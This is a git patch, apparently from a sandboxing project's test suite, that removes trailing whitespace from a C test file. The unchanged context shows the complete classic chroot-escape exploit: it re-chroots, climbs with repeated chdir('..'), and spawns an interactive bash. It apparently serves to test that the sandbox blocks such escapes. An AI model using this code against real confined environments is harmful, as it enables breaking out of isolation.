From 997a93efbdcbbaeed517e0bdc5283e9d8b31f422 Mon Sep 17 00:00:00 2001 From: Fred Barclay Date: Wed, 24 May 2017 14:38:01 -0500 Subject: strip trailing whitespace from test/ --- test/chroot/unchroot.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) (limited to 'test/chroot/unchroot.c') diff --git a/test/chroot/unchroot.c b/test/chroot/unchroot.c index 1982e07f3..4919637d6 100644 --- a/test/chroot/unchroot.c +++ b/test/chroot/unchroot.c @@ -13,28 +13,28 @@ void die(char *msg) { int main(int argc, char *argv[]) { int i; - + if (chdir("/") != 0) die("chdir(/)"); - + if (mkdir("baz", 0777) != 0) ; //die("mkdir(baz)"); - + if (chroot("baz") != 0) die("chroot(baz)"); - + for (i=0; i<50; i++) { if (chdir("..") != 0) die("chdir(..)"); } - + if (chroot(".") != 0) die("chroot(.)"); - + printf("Exploit seems to work. =)\n"); - + execl("/bin/bash", "bash", "-i", (char *)0); die("exec bash"); - + exit(0); } -- cgit v1.2.3-54-g00ecf